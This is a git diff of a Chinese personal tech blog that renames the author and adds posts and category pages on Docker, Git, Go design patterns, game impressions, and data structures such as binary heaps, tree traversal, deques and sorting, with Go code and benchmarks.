diff --git a/404.html b/404.html index b8b1207..35c4e32 100644 --- a/404.html +++ b/404.html @@ -5,7 +5,7 @@ - 紫狐 +寒江蓑笠翁 + + + + + +
安装使用

安装使用

+

第一次使用电脑时,都会先学习怎么开机和关机,使用软件也一样,得先学会怎么安装和卸载,以免觉得不好用了也可以卸掉。

+

本篇的内容参考自Install Docker Engine on Ubuntu | Docker Documentation

+
+

提示

+

后续的文章都将在ubuntu22.04LTS系统基础之上进行描述。

+

寒江蓑笠翁大约 5 分钟dockercontainerdocker容器
基本介绍

基本介绍

+
+

docker是一款非常出名的项目,它是由go语言编写且完全开源。docker去掉了传统开发过程中的繁琐配置这一步,让开发者可以更加快速的构建应用。到目前为止,docker提供了桌面端,CLI命令行,SDK,以及WebApi几种方式以供开发者选用。


寒江蓑笠翁大约 3 分钟dockercontainerdocker容器
+ + + diff --git a/category/git/index.html b/category/git/index.html new file mode 100644 index 0000000..d9e15b9 --- /dev/null +++ b/category/git/index.html @@ -0,0 +1,63 @@ + + + + + + + + Git 分类 | 寒江蓑笠翁 + + + + + + +
托管服务器

托管服务器

+

在远程仓库中,有许多优秀的第三方代码托管商可以使用,这对于开源项目而言可能足够使用,但是对于公司或者企业内部,就不能使用第三方的代码托管了,为此我们需要自行搭建代码托管服务器,好在市面上有许多开源的自建解决方案,比如bitbucket,gitlab等。

+

Gitlab

+

gitlab是一个采用Ruby开发的开源代码管理平台,支持web管理界面,下面会演示如何自己搭建一个GitLab服务器,演示的操作系统为Ubuntu。

+

关于gitlab更详细的文档可以前往GitLab Docs | GitLab,本文只是一个简单的介绍与基本使用。


寒江蓑笠翁大约 19 分钟GitVCSGit
远程仓库

远程仓库

+

之前的所有演示都基于本地仓库的,git同样也支持远程仓库,如果想要与他人进行协作开发,可以将项目保存在一个中央服务器上,每一个人将本地仓库的修改推送到远程仓库上,其他人拉取远程仓库的修改,这样一来就可以同步他人的修改。对于远程仓库而言,对于公司而言,都会有自己的内网代码托管服务器,对于个人开发者而言,可以选择自己搭建一个代码托管服务器,又或者是选择第三方托管商。如果你有精力折腾的话可以自己搭,不过我推荐选择第三方的托管商,这样可以将更多精力专注于项目开发上,而且能让更多人发现你的优秀项目。

+

寒江蓑笠翁大约 21 分钟GitVCSGit
分支

分支

+

如果说有什么特性能让git从其它vcs中脱颖而出,那唯一的答案就是git的分支管理,因为它很快,快到分支切换无感,即便是一个非常大的仓库。一般仓库都会有一个主分支用于存放核心代码,当你想要做出一些修改时,不必修改主分支,可以新建一个新分支,在新分支中提交然后将修改合并到主分支,这样的工作流程在大型项目中尤其适用。在git中每一次提交都会包含一个指针,它指向的是该次提交的内容快照,同时也会指向上一次提交。

+

寒江蓑笠翁大约 48 分钟GitVCSGit
仓库

仓库

+

本文将讲解git一些基础操作,所有内容都是围绕着本地仓库进行讲解的,比如提交修改,撤销修改,查看仓库状态,查看历史提交等基本操作,学习完这些操作,基本上就可以上手使用git了。

+

创建仓库

+

git的所有操作都是围绕着git仓库进行的,一个仓库就是一个文件夹,它可以包含一个项目代码,也可以包含很多个项目代码,或者其他奇奇怪怪的东西,到底要如何使用取决于你自己。创建仓库首先要创建一个文件夹,执行命令创建一个example文件夹。

+
$ mkdir example
+

寒江蓑笠翁大约 60 分钟GitVCSGit
简介

简介

+
+

代码管理对于软件开发而言永远是一个绕不过去的坎。笔者初学编程时对软件的版本没有任何概念,出了问题就改一改,把现在的代码复制保存一份留着以后用,这种方式无疑是是非常混乱的,这也是为什么VCS(Version Control System)会诞生的原因。这类软件的发展史还是蛮长的,笔者曾经短暂的在一个临时参与的项目中使用过SVN,现在应该不太常见了,几乎大部分项目都是在用git进行项目管理。大多数情况下,笔者都只是在拉代码和推代码,其他的命令几乎很少用到,不过这也侧面印证了git的稳定性。写下这些内容是为了对自己git相关知识的进行一个总结,更加熟悉之后,处理一些疑难杂症时会更加得心应手。


寒江蓑笠翁大约 8 分钟GitVCSGit
+ + + diff --git a/category/index.html b/category/index.html index f3c9479..cb9bcda 100644 --- a/category/index.html +++ b/category/index.html @@ -5,7 +5,7 @@ - 分类 | 紫狐 +分类 | 寒江蓑笠翁 + + + + + +
+ + + diff --git a/category/rust/index.html b/category/rust/index.html new file mode 100644 index 0000000..d13a8fd --- /dev/null +++ b/category/rust/index.html @@ -0,0 +1,50 @@ + + + + + + + + rust 分类 | 寒江蓑笠翁 + + + + + + +
+ + + diff --git "a/category/\344\272\214\345\217\211\346\240\221/index.html" "b/category/\344\272\214\345\217\211\346\240\221/index.html" new file mode 100644 index 0000000..2cbe0f1 --- /dev/null +++ "b/category/\344\272\214\345\217\211\346\240\221/index.html" @@ -0,0 +1,50 @@ + + + + + + + + 二叉树 分类 | 寒江蓑笠翁 + + + + + + +
+ + + diff --git "a/category/\346\212\200\346\234\257\346\227\245\345\277\227/index.html" "b/category/\346\212\200\346\234\257\346\227\245\345\277\227/index.html" index dee0273..069bb1b 100644 --- "a/category/\346\212\200\346\234\257\346\227\245\345\277\227/index.html" +++ "b/category/\346\212\200\346\234\257\346\227\245\345\277\227/index.html" @@ -5,7 +5,7 @@ - 技术日志 分类 | 紫狐 +技术日志 分类 | 寒江蓑笠翁 + + + + + +
+ + + diff --git "a/category/\346\257\217\346\227\245\345\217\221\347\216\260/index.html" "b/category/\346\257\217\346\227\245\345\217\221\347\216\260/index.html" new file mode 100644 index 0000000..a967eef --- /dev/null +++ "b/category/\346\257\217\346\227\245\345\217\221\347\216\260/index.html" @@ -0,0 +1,56 @@ + + + + + + + + 每日发现 分类 | 寒江蓑笠翁 + + + + + + +
TOML

TOML

+
+

为人类而生的配置文件格式

+

寒江蓑笠翁大约 25 分钟技术日志每日发现TOML配置文件
+ + + diff --git "a/category/\346\270\270\346\210\217\346\235\202\350\260\210/index.html" "b/category/\346\270\270\346\210\217\346\235\202\350\260\210/index.html" new file mode 100644 index 0000000..6f13559 --- /dev/null +++ "b/category/\346\270\270\346\210\217\346\235\202\350\260\210/index.html" @@ -0,0 +1,78 @@ + + + + + + + + 游戏杂谈 分类 | 寒江蓑笠翁 + + + + + + +
激流快艇

激流快艇

+
+

初中在家里的智能电视上玩的激流快艇2,童年回忆之一,第三部是18年出的,人长大了但电视还是那个电视,现在还能玩不过卡跟ppt一样。

+

寒江蓑笠翁小于 1 分钟游戏杂谈童年回忆TV游戏
神界原罪2

神界原罪2

+
+

一款十分精彩的RPG,不论是战斗还是剧情都很出色。

+

寒江蓑笠翁大约 12 分钟游戏杂谈CRPG魔幻开放世界
僵尸毁灭工程

僵尸毁灭工程

+
+

一款十分真实的丧尸沙盒生存游戏,心中同题材下最好的游戏。

+

寒江蓑笠翁大约 17 分钟游戏杂谈生存硬核末世
艾尔登法环

艾尔登法环

+
+

魂系列集大成之作,唯一一个全成就的游戏,首发预购的含金量

+

寒江蓑笠翁小于 1 分钟游戏杂谈魂系列
风来之国

风来之国

+
+

它让我想起了小时候躲在被窝里在捧着老式诺基亚玩的一款塞班像素游戏

+

寒江蓑笠翁小于 1 分钟游戏杂谈风来之国像素风格画风优美
天国拯救

天国拯救

+
+

一个铁匠儿子成长为剑术大师的故事,剧情挺好,战斗太难了,为了看剧情开修改器过的。

+

寒江蓑笠翁小于 1 分钟游戏杂谈开放世界硬核
生化危机2 重制版

生化危机2 重制版

+
+

第一次玩的时候还有点吓人,后面逛警察局就跟回家一样,游戏质量很高。

+

寒江蓑笠翁小于 1 分钟游戏杂谈恐怖丧尸短小
烟火

烟火

+ +

一款小体量的恐怖游戏,像一本短暂又令人回味的小说

+

寒江蓑笠翁小于 1 分钟游戏杂谈恐怖游戏民俗风格2D游戏
巫师三:狂猎

巫师三:狂猎

+
+

先看小说再玩游戏,我愿称之为开放世界天花板。

+

寒江蓑笠翁小于 1 分钟游戏杂谈开放世界剑与魔法探索冒险
2
+ + + diff --git "a/category/\347\224\237\346\264\273\351\232\217\347\254\224/index.html" "b/category/\347\224\237\346\264\273\351\232\217\347\254\224/index.html" index c62d7bb..5b39a04 100644 --- "a/category/\347\224\237\346\264\273\351\232\217\347\254\224/index.html" +++ "b/category/\347\224\237\346\264\273\351\232\217\347\254\224/index.html" @@ -5,7 +5,7 @@ - 生活随笔 分类 | 紫狐 +生活随笔 分类 | 寒江蓑笠翁 + + + + + +
+ + + diff --git "a/category/\350\256\276\350\256\241\346\250\241\345\274\217/index.html" "b/category/\350\256\276\350\256\241\346\250\241\345\274\217/index.html" new file mode 100644 index 0000000..eac8c92 --- /dev/null +++ "b/category/\350\256\276\350\256\241\346\250\241\345\274\217/index.html" @@ -0,0 +1,86 @@ + + + + + + + + 设计模式 分类 | 寒江蓑笠翁 + + + + + + +
行为型模式

行为型模式

+

行为型模式用于描述程序在运行时复杂的流程控制,即描述多个类或对象之间怎样相互协作共同完成单个对象都无法单独完成的任务,它涉及算法与对象间职责的分配。行为型模式分为类行为模式和对象行为模式,前者采用继承机制来在类间分派行为,后者采用组合或聚合在对象间分配行为。由于组合关系或聚合关系比继承关系耦合度低,满足“合成复用原则”,所以对象行为模式比类行为模式具有更大的灵活性。

+

模板方法模式

+

定义一个操作中的算法骨架,而将算法的一些步骤延迟到子类中,使得子类可以不改变该算法结构的情况下重定义该算法的某些特定步骤。

+
    +
  • +

    抽象类(Abstract Class):负责给出一个算法的轮廓和骨架。它由一个模板方法和若干个基本方法构成。

    +
      +
    • 模板方法:定义了算法的骨架,按某种顺序调用其包含的基本方法。
    • +
    • 基本方法:是实现算法各个步骤的方法,是模板方法的组成部分。
    • +
    +
  • +
  • +

    具体子类(Concrete Class):实现抽象类中所定义的抽象方法和钩子方法,它们是一个顶级逻辑的组成步骤。

    +
  • +

寒江蓑笠翁大约 36 分钟设计模式设计模式go
结构型模式

结构型模式

+

结构型模式描述如何将类或对象按某种布局组成更大的结构。它分为类结构型模式和对象结构型模式, 前者采用继承机制来组织接口和类,后者釆用组合或聚合来组合对象。 由于组合关系或聚合关系比继承关系耦合度低,满足“合成复用原则”,所以对象结构型模式比类结构型 模式具有更大的灵活性。

+

代理模式

+

由于某些原因需要给某对象提供一个代理以控制对该对象的访问。这时,访问对象不适合或者不能直接引用目标对象,代理对象作为访问对象和目标对象之间的中介。

+
    +
  • +

    抽象主题(Subject)接口: 通过接口或抽象类声明真实主题和代理对象实现的业务方法。

    +
  • +
  • +

    真实主题(Real Subject)类: 实现了抽象主题中的具体业务,是代理对象所代表的真实对象,是最终要引用的对象。

    +
  • +
  • +

    代理(Proxy)类 :提供了与真实主题相同的接口,其内部含有对真实主题的引用,它可以访问,控制或扩展真实主题的功能。

    +
  • +

寒江蓑笠翁大约 24 分钟设计模式设计模式go
创建型模式

创建型模式

+

创建型模式的主要关注点是“怎样创建对象?”,它的主要特点是“将对象的创建与使用分离”。 这样可以降低系统的耦合度,使用者不需要关注对象的创建细节。

+

简单工厂模式

+

这种类型的设计模式属于创建型模式,它提供了一种创建对象的最佳方式。在工厂模式中,我们在创建对象时不会对客户端暴露创建逻辑,并且是通过使用一个共同的接口来指向新创建的对象。

+

在Go中是没有构造函数的说法,一般会定义Newxxxx函数来初始化相关的结构体或接口,而通过Newxxx函数来初始化返回接口时就是简单工厂模式,一般对于Go而言,最推荐的做法就是简单工厂。


寒江蓑笠翁大约 17 分钟设计模式设计模式go
设计原则

设计原则

+

这六大原则是比较经典的,它们是所有设计模式的基石,也是编码的基本规范,前面讲到不要过度设计,但六大原则是一个优秀的代码应当遵守最基本的规范。

+

开闭原则

+

这是一个十分经典的原则,也是最基础的原则,就只有10个字的内容,对拓展开放,对修改关闭。一个程序应当具有相应的拓展性,假设开发了一个Go第三方依赖库,倘若调用者想要自定义功能只能去修改依赖库的源代码,但是每个人都有不同的需求,难道每个人都要改一遍源代码吗,这么做的结果显然是非常恐怖的,代码会变得异常难以维护。

+

单一职责原则


寒江蓑笠翁大约 5 分钟设计模式设计模式go
所谓模式

所谓模式

+

要说将设计模式发扬光大的语言还得是Java,虽然本质上来说,设计模式是一门语言无关的学问,但几乎所有设计模式的教学语言都是用的是Java,毫无疑问Java是使用设计模式最多的语言,因为它是一个很典型的面向对象的语言,万物皆对象,很显然设计模式就是面向对象的,这是一个优点也是一个缺点,因为有时候过度设计同样会造成难以维护的问题。设计模式起源于建筑工程行业而非计算机行业,它并不像算法一样是经过严谨缜密的逻辑推算出来的,而是经过不断的实践与测试总结出来的经验。使用设计模式是为了代码重用性更好,更容易被他人理解,以及更好维护的代码结构。


寒江蓑笠翁大约 6 分钟设计模式设计模式go
+ + + diff --git "a/category/\351\227\256\351\242\230\350\256\260\345\275\225/index.html" "b/category/\351\227\256\351\242\230\350\256\260\345\275\225/index.html" new file mode 100644 index 0000000..17f9bab --- /dev/null +++ "b/category/\351\227\256\351\242\230\350\256\260\345\275\225/index.html" @@ -0,0 +1,66 @@ + + + + + + + + 问题记录 分类 | 寒江蓑笠翁 + + + + + + +
+ + + diff --git a/index.html b/index.html index f0abcbe..a9c7770 100644 --- a/index.html +++ b/index.html @@ -5,7 +5,7 @@ - 博客主页 | 紫狐 +博客主页 | 寒江蓑笠翁 + + + + + +

堆-二项堆

寒江蓑笠翁大约 11 分钟算法

堆-二项堆


堆是一种特殊的数据结构,它的特点在于可以在O(1)的时间内找到堆内的最大值或最小值。它一般有两种类型,大顶堆或小顶堆。大顶堆是最大值在堆顶,子节点均小于根节点;小顶堆是最小值在堆顶,子节点均大于根节,同时堆也是优先队列比较常见的实现种类。堆只是这类数据结构的统称,并非特指某种具体实现,一般来说它支持以下几种操作,

type Heap[T any] interface {
+	// 添加若干元素到堆中
+	Push(e ...T)
+	// 查看堆顶元素
+	Peek() (T, bool)
+	// 返回堆顶元素,并将其从堆中删除
+	Pop() (T, bool)
+	// 替换指定元素
+	Fix(i int, k T)
+	// 删除指定元素
+	Remove(i int)
+	// 两个堆合并
+	Merge(heap Heap[T])
+}
+

上面这些操作在其它文章可能叫法不一样,但大致的作用都是类似的,也可能有更多的拓展。

今天要讲的就是堆里面最简单的实现,二项堆,或者叫二叉堆,其英文名为BinaryHeap,下面统称为二项堆。二叉堆在表现上通常是一个近似完全二叉树的树,如下图

对于二项堆而言,它的关键操作在于元素的上浮和下沉,这个过程会频繁的遍历整个树,所以一般二项堆不会采用树节点的方式实现,而是使用数组的形式。将上图的二叉树转换成数组后就如下图所示:

对于堆每一个节点,其在数组中的下标映射为:

  • 父节点:(i-1)/2
  • 左子节点:i*2+1
  • 右子节点:i*2+2

这种规则很好理解,下面演示上浮和下沉操作,默认为小顶堆。

上浮

在前面的基础之上,向堆中添加了一个新元素,我们将其添加到数组的末尾,如下图

然后让其不断的与它的父节点进行比较,如果小于父节点,就进行交换,否则就停止交换。对于2而言,它的父节点位于下标(7-1)/2=3处,也就是元素8,显然它是小于8的,于是它两交换位置。

然后再与其父节点5进行比较,小于5,则交换位置,然后再与父节点3进行比较,小于3,于是再次交换,最终整个堆就如下图所示:

此时2就是堆顶元素,它也的确是最小的那一个元素,于是堆调整完毕,这个过程也就称之为上浮。整个过程只是在不断的与它的父节点进行比较,总比较次数为3,同时这也是树的高度,对于一个含有n个数量的堆来说,添加一个新元素的时间复杂度为O(logn)。代码实现如下

func (heap *BinaryHeap[T]) up(i int) {
+	if i < 0 || i >= heap.list.Size() {
+		return
+	}
+
+	// parent = index / 2 - 1
+	for pi := (i - 1) >> 1; i > 0; pi = (i - 1) >> 1 {
+		v, _ := heap.list.Get(i)
+		pv, _ := heap.list.Get(pi)
+
+		if heap.cmp(v, pv) >= containers.EqualTo {
+			break
+		}
+
+		lists.Swap[T](heap.list, i, pi)
+		i = pi
+	}
+}
+

下沉

对于堆顶元素而言,如果要将其从堆中删除,首先将其与最后一个元素交换位置,然后再移除尾部元素。如下图所示

然后此时堆顶元素不断与其子节点进行比较,如果比子字节大就交换位置,每一次交换时,优先交换两个子节点中更小的那一个。比如8的子节点是4,和5,那么将8与4进行交换。

再继续与子节点进行比较然后交换,最终如下图所示

此时堆再次调整完毕,堆顶元素仍然是最小值。整个过程只是在不断的与子节点进行比较交换,下沉操作的时间复杂度也为O(logn)。代码实现如下

func (heap *BinaryHeap[T]) down(i int) {
+	if i < 0 || i >= heap.list.Size() {
+		return
+	}
+
+	size := heap.list.Size()
+	// left_son = index * 2 + 1
+	// right_son = left_son + 1
+	for si := i<<1 + 1; si < size; si = i<<1 + 1 {
+		ri := si + 1
+
+		sv, _ := heap.list.Get(si)
+		rv, _ := heap.list.Get(ri)
+
+		lv, li := sv, si
+
+		// check if right is less than left
+		if ri < size && heap.cmp(sv, rv) == containers.GreaterThan {
+			lv = rv
+			li = ri
+		}
+
+		// check if iv is less than lv
+		iv, _ := heap.list.Get(i)
+		if heap.cmp(iv, lv) <= containers.EqualTo {
+			break
+		}
+
+		lists.Swap[T](heap.list, i, li)
+		i = li
+	}
+}
+

构建

对于构建二项堆而言,一个简单的做法是将其视为一个空的堆,然后不断的对每一个末尾的元素执行上浮操作,那么它的时间复杂度就是O(nlogn)。

有一种办法可以做到O(n)的时间复杂度,它的思路是:首先将给定的输入序列按照二叉树的规则在分布在数组当中,自底向上从最后一个父节点开始,每一个父节点就代表着一个子树,对这个子树的根节点执行下沉操作,这样一直操作到整个二项堆的根节点,由于所有局部的子树都已经完成堆化了,对于这个整体根节点的下沉操作也最多只需要比较O(h)次,h是整个树的高度,可以证明这个过程的时间复杂度为O(n),详细的证明过程在wikiopen in new window中可以查阅,而二项堆的合并过程也与构建的过程大同小异。代码实现如下

func (heap *BinaryHeap[T]) Push(es ...T) {
+	if len(es) == 1 {
+		heap.list.Add(es[0])
+		heap.up(heap.Size() - 1)
+	} else {
+		// push one then up one that is the normal method which will run in O(nlogn) time
+		// but another faster method as follows that reference https://en.wikipedia.org/wiki/Binary_heap#Building_a_heap
+		heap.list.Add(es...)
+		// get the last possible subtree root node position
+		size := heap.list.Size() / 2
+		// iterate over all subtree root node bottom up, and execute down operation in per root node
+		// Assuming that the subtrees of height h have all been binary heapified, then for the subtrees of height h+1,
+		// adjusting the root node along the branch of the maximum child node requires at most h steps to complete the binary heapification.
+		// It can be proven that the time complexity of this algorithm is O(n).
+		for i := size; i >= 0; i-- {
+			heap.down(i)
+		}
+	}
+}
+

总结

操作时间复杂度
构建O(n)
查看最小值O(1)
插入O(log n)
删除O(log n)
合并O(n)

二项堆是所有实现中最简单的一个,总体来说难度不大,性能尚可,足够满足基本使用。

提示

有关二项堆的具体实现,可以前往containers/heaps/binary_heap.goopen in new window进行了解,这是我自己写的常用数据结构的库,支持泛型。

上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/code/alg/binary_tree.html b/posts/code/alg/binary_tree.html new file mode 100644 index 0000000..33f6ea5 --- /dev/null +++ b/posts/code/alg/binary_tree.html @@ -0,0 +1,153 @@ + + + + + + + + 二叉树的遍历 | 寒江蓑笠翁 + + + + + + +

二叉树的遍历

寒江蓑笠翁大约 3 分钟二叉树

二叉树的遍历


二叉树的遍历分三种

  • 前序遍历,中-左-右
  • 中序遍历,左-中-右
  • 后序遍历,左-右-中

遍历又分递归和迭代版,对于迭代而言就是手动创建栈来模拟递归的调用栈,整体来说都比较简单,只有迭代版的后序遍历需要稍微注意下。

前序遍历

递归版本

func preorderTraversal(root *TreeNode) []int {
+    if root == nil {
+        return []int{}
+    }
+
+    ans := []int{root.Val}
+    ans = append(ans, preorderTraversal(root.Left)...)
+    ans = append(ans, preorderTraversal(root.Right)...)
+    
+    return ans
+}
+

迭代版本

func inorderTraversal(root *TreeNode) []int {
+    if root == nil {
+        return []int{}
+    }
+
+    var stk []*TreeNode
+    var ans []int
+    cur := root
+    for cur != nil || len(stk) > 0 {
+       if cur != nil {
+            ans = append(ans, cur.Val)
+            stk = append(stk, cur)
+            cur = cur.Left
+        }else {
+            cur = stk[len(stk)-1]
+            stk = stk[:len(stk)-1]
+            cur = cur.Right
+        }
+    }
+    return ans
+}
+

中序遍历

递归版本

func inorderTraversal(root *TreeNode) []int {
+    if root == nil {
+        return []int{}
+    }
+
+    lans := inorderTraversal(root.Left)
+    lans = append(lans, root.Val)
+    rans := inorderTraversal(root.Right)
+    return append(lans, rans...)
+}
+

迭代版本

func inorderTraversal(root *TreeNode) []int {
+    if root == nil {
+        return []int{}
+    }
+
+    var stk []*TreeNode
+    var ans []int
+    cur := root
+    for cur != nil || len(stk) > 0 {
+       if cur != nil {
+            stk = append(stk, cur)
+            cur = cur.Left
+        }else {
+            cur = stk[len(stk)-1]
+            stk = stk[:len(stk)-1]
+            ans = append(ans, cur.Val)
+            cur = cur.Right
+        }
+    }
+    return ans
+}
+

后序遍历

递归版本

func postorderTraversal(root *TreeNode) []int {
+    if root == nil {
+        return []int{}
+    }
+
+    ans := postorderTraversal(root.Left)
+    ans = append(ans, postorderTraversal(root.Right)...)
+    return append(ans, root.Val)
+}
+

迭代版本

func postorderTraversal(root *TreeNode) []int {
+	if root == nil {
+		return []int{}
+	}
+
+	var ans []int
+	var stk []*TreeNode
+	// 需要一个prev节点来记录上一个出栈的元素
+	var prev *TreeNode
+	cur := root
+	for cur != nil || len(stk) > 0 {
+		if cur != nil {
+			stk = append(stk, cur)
+			cur = cur.Left
+		} else {
+			// 访问栈顶
+			cur = stk[len(stk)-1]
+			// 遍历的顺序是左右-中,如果prev == cur.Right
+			// 代表已经当前节点的左右节点访问过了,应该出栈了
+			if cur.Right != nil && cur.Right != prev {
+				cur = cur.Right
+			} else {
+				ans = append(ans, cur.Val)
+				stk = stk[:len(stk)-1]
+				prev = cur
+				// cur置为nil,走到这里说明左右都已经访问过了,下一次访问栈顶元素
+				cur = nil
+			}
+		}
+	}
+
+	return ans
+}
+
上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/code/alg/dequeue.html b/posts/code/alg/dequeue.html new file mode 100644 index 0000000..fe7ab1f --- /dev/null +++ b/posts/code/alg/dequeue.html @@ -0,0 +1,48 @@ + + + + + + + + 队列-双端队列 | 寒江蓑笠翁 + + + + + + +

队列-双端队列

寒江蓑笠翁大约 10 分钟算法

队列-双端队列


众所周知,队列是一种先进先出(FIFIO)的数据结构,不过它只能一端进,在另一端出,而双端队列对前者进行了拓展,它的两端都能进出。假如,只在一端进,并且只在这一端出,那么这样就变成了后进先出,也就成了栈,因此双端队列其实同时具有队列和栈的性质。

双端队列可以采用链表或数组来实现,本文使用数组的方式来进行讲解。对于双端队列而言,会有两个指针fronttail分别代表的队列的两端。如下图

front指针指向队列的头部元素,而tail则指向队列的尾部,左右端指的是队列的左右端,并非图中数组的左右两端,两者是有很大区别的。

上图中队列内的元素实际为[2, 1],是左端插入了一个2,右端插入了一个1而产生的结果。通常来说,一个双端队列支持以下操作,如下图

摘自wiki
摘自wiki

不同语言对这些操作可能会有不同的称呼,但它们的作用都差不多,下面来讲解下双端队列的具体思路。

入队

先来讲讲左边入队,也就是从队列头部添加元素,给定一个如下图所示的空队列,此时fronttail指针重叠,元素数量为0。

从队列左边入队一个元素3front指针左移,但其本身位于下标0,所以就顺势环形移动到数组末尾,也就是下标5,然后对front所指向的元素赋值3

此时队列内元素为[3],假设再从右边入队元素10,从队列右边入队时,先将tail所指向的元素赋值,然后再右移指针tail。所以在入队时,这两个指针其实就是在数组上面环形移动,从数组的一边走到头了,就从另一头继续走,就跟环形链表一样。

此时队列内的元素为[3, 10],接下来如果不停在左右端入队元素,那么两个指针此时最终就会相遇,操作如下

  1. 左端入队1
  2. 右端入队9
  3. 左端入队6
  4. 右端入队-1

最终结果如图所示,此时队列的元素为[6, 1, 3, 10, 9, -1],数量为6,队列已经满了,无法再容纳新的元素。

扩容

当双端队列满了以后,如果要继续添加新元素,就需要对其数组进行扩容(有些地方的实现可能不支持扩容),然后让元素重新按照相对位置分布在新的数组上。首先申请一个两倍于当前数组长度的新数组,然后按照原数组中元素的相对位置让它们重新分布在新数组上,对于上图中而言,就是让front指针指向元素(包括自身)的重新右边分布在新数组的右边,然后让左边的元素重新分布在新数组的左边,扩容后的队列数据分布如下图所示,队列左端的元素分布到了数组的右端,队列右端的元素分布在了数组的左端。

在往后的入队操作中,两个指针又会不断靠拢,然后再次扩容,接着又重新分布到新数组的左右两端。

出队

拿上面这一个例子讲解出队,出队其实就是上面的入队的过程反着来。从队列右边出队,只需要将指针tail左移即可,如果有必要也可以将它所指向的元素置0,一般来说不需要。如下图所示,从右边出队元素-1,此时队列内元素为[6, 1, 3, 10, 9]

而从左边出队也是一样,只需要将front指针右移。如下图所示,从右边出队元素6,此时队列内元素为[1, 3, 10, 9]

如此往复,两个指针会分别往数组左右两端移动,直到再次相遇,数组为空。

缩容

当队内元素数量小于数组长度的一半时,可以考虑缩容,这个是可选项,并非所有双端队列都要实现缩容。此时元素都分布在数组的左右两侧,而数组中间有一大堆无用的空间,可以申请一个新的数组,其长度为原来的3/4,也就是原数组缩小了1/4的长度,之所以不直接缩小一半是为了避免往后入队时会频繁的触发扩容操作。沿用之前的例子,假设在缩容前队列如下图所示

原数组长度为6,缩小1/4就是长度5,然后重新分布元素后,如下图所示

总结

下面是两种不同实现的对比

动态数组双向链表
入队O(n)O(1)
出队O(n)O(1)
随机访问O(1)O(n)

对于动态数组实现,它的均摊时间复杂度可以达到O(1),适合读多写少的场景,而对于双向链表来说,比较时候读少写多的场景。

双端队列的实现代码位于github.com/246859/containers/queues/dequeue.goopen in new window

上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/code/alg/index.html b/posts/code/alg/index.html new file mode 100644 index 0000000..4681f97 --- /dev/null +++ b/posts/code/alg/index.html @@ -0,0 +1,48 @@ + + + + + + + + Alg | 寒江蓑笠翁 + + + + + + +

Alg

寒江蓑笠翁小于 1 分钟

+ + + diff --git a/posts/code/alg/sort.html b/posts/code/alg/sort.html new file mode 100644 index 0000000..f0ba255 --- /dev/null +++ b/posts/code/alg/sort.html @@ -0,0 +1,820 @@ + + + + + + + + 经典排序算法 | 寒江蓑笠翁 + + + + + + +

经典排序算法

寒江蓑笠翁大约 79 分钟算法sortdata structgo

经典排序算法


冒泡排序

冒泡排序是最简单的一种排序,也是最暴力的排序方法,对于大多数初学者而言,它是很多人接触的第一个排序方法。大致实现思路如下:从下标0开始,不断将两个数字相比较,如果前一个数大于后一个数字,那么就交换位置,直至末尾。外层循环每一轮结束后,就能确定一个值是第i+1大的元素,于是后续的元素就不再去交换,所以内层循环的终止条件是len(slice)-(i+1)

下面是一个冒泡排序的泛型实现。

func BubbleSort[T any](s []T, less func(a, b T) bool) {
+	for i := 0; i < len(s); i++ {
+		for j := 0; j < len(s)-1-i; j++ {
+			if less(s[j+1], s[j]) {
+				s[j+1], s[j] = s[j], s[j+1]
+			}
+		}
+	}
+}
+

时间复杂度:O(n^2)

不管情况好坏,它需要交换总共 (n-1)+(n-2)+(n-3)+...+1 次 ,对其进行数列求和为 (n^2-n)/2 ,忽略低阶项则为O(n^2),即便整个切片已经是完全有序的。

空间复杂度:O(1)

算法进行过程中没用到任何的额外空间,所以为O(1)

稳定性:是

两个元素相等时不会进行交换,就不会发生相对位置的改变。看一个例子

1 3 3 0
+

第一轮冒泡,移动第二个3

1 3 0 3
+

第二轮冒泡,移动第一个3

1 0 3 3
+

可以看到相对位置没有发生变化。

性能测试

对其进行基准测试,分别使用100,1000,1w,10w个随机整数进行排序,测试数据如下

goos: windows
+goarch: amd64
+pkg: sorts
+cpu: 11th Gen Intel(R) Core(TM) i7-11800H @ 2.30GHz
+BenchmarkBubbleSort/100-16        104742             10910 ns/op               0 B/op          0 allocs/op
+BenchmarkBubbleSort/1000-16          984           1149239 ns/op               0 B/op          0 allocs/op
+BenchmarkBubbleSort/10000-16           7         158096014 ns/op               1 B/op          0 allocs/op
+BenchmarkBubbleSort/100000-16          1        19641943300 ns/op              0 B/op          0 allocs/op
+PASS
+ok      sorts   23.037s
+

随着数据量的增多,冒泡排序所耗费的时间差不多是在以平方的级别在增长,到了10w级别的时候,要花费整整18秒才能完成排序,值得注意的是整个过程中没有发生任何的内存分配。百万数据量耗时太久了,就懒得测了。

优化

第一个优化点是原版冒泡即便在数据完全有序的情况下依然会去进行比较,所以当一趟循环完后如果发现数据是有序的应该可以直接退出,这是减少外层循环的次数。由于冒泡排序每轮会冒泡一个有序的数据到右边去,所以每轮循环后都会缩小冒泡的范围,假设数据右边已经是有序的了,那么这种操作就可以提前,而不需要等到指定循环次数之后才缩小范围,比如下面这种数据

4,1,3,2,5,6,7,8,9
+

这个范围的边界实际上就是上一轮循环最后一次发生交换的下标,这是减少了内循环次数。这里提一嘴使用位运算也可以实现数字交换,算是第三个优化点,但仅限于整数类型。优化后的代码如下

func BubbleSortPlus[T any](s []T, less func(a, b T) bool) {
+	// 记录最后一个交换的下标
+	end := len(s) - 1
+	var last int
+	for i := 0; i < len(s); i++ {
+		// 记录整个切片是否已经有序
+		isSorted := true
+		// 内循环只截至到last
+		for j := 0; j < end; j++ {
+			if less(s[j+1], s[j]) {
+				s[j+1], s[j] = s[j], s[j+1]
+				isSorted = false
+				last = j
+			}
+		}
+		end = last
+
+		if isSorted {
+			return
+		}
+	}
+}
+

优化只能提高冒泡的平均时间效率,在最差情况下,也就是数据完全逆序/升序的时候,对其进行升序/逆序排序,渐进时间复杂度依旧是O(n^2)。

goos: windows
+goarch: amd64
+pkg: sorts
+cpu: 11th Gen Intel(R) Core(TM) i7-11800H @ 2.30GHz
+BenchmarkBubbleSort/100-16                104742             10910 ns/op               0 B/op          0 allocs/op
+BenchmarkBubbleSort/1000-16                  984           1149239 ns/op               0 B/op          0 allocs/op
+BenchmarkBubbleSort/10000-16                   7         158096014 ns/op               1 B/op          0 allocs/op
+BenchmarkBubbleSort/100000-16                  1        19641943300 ns/op              0 B/op          0 allocs/op
+BenchmarkBubbleSortPlus/100-16            115183             10537 ns/op               0 B/op          0 allocs/op
